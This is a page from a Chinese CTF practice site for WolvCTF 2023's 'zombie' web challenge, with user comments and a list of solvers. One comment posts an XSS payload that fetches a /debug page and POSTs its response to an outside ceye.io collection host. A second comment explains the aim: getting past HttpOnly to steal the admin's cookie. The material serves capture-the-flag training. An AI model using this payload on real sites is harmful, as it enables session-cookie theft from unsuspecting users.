zombie-201WEB 未解决

分数: 0 金币: 0
所属赛事: WolvCTF 2023
题目作者: 未知
一  血: heyile
一血奖励: 0金币
解  决: 147
提  示:
描  述:
wctf{}
评论
15031597817 1年前

怎么做的?

回复 0

vincentshine 1年前

http://82.157.146.43:10973/zombie?show=<script>fetch('http://82.157.146.43:10973/debug').then(data => { fetch('http://xxxx.ceye.io',{method: 'POST', body: data}) })</script>

回复 0

justsosoloveyou 2年前

httponly禁止了js读取cookie,要考虑绕过。由于debug页面的响应包含cookie,那就让后台管理访问debug页面,然后将页面响应回传。要注意js编码和要对页面响应内容编码。

回复 7

WriteUp

image
zzhicecyb

0 金币

评分(0)

暂无评分

解题动态

dlgz 攻破了该题 3天前
czhf20120704 攻破了该题 13天前
oceanpeak 攻破了该题 13天前
Zfc 攻破了该题 15天前
Kevin026 攻破了该题 21天前
风花雪月 攻破了该题 22天前
bugbiubiubiu 攻破了该题 26天前
nnyylove 攻破了该题 28天前
Jazzyl 攻破了该题 1月前
EAST.DH 攻破了该题 1月前
东风遥 攻破了该题 1月前
88788 攻破了该题 1月前
llawlietD 攻破了该题 1月前
zrlht 攻破了该题 1月前
Jay. 攻破了该题 1月前
Dxmax 攻破了该题 1月前
gdrhdr 攻破了该题 1月前
Yan123 攻破了该题 1月前
香克斯呀 攻破了该题 1月前
denglonghua 攻破了该题 1月前
问题反馈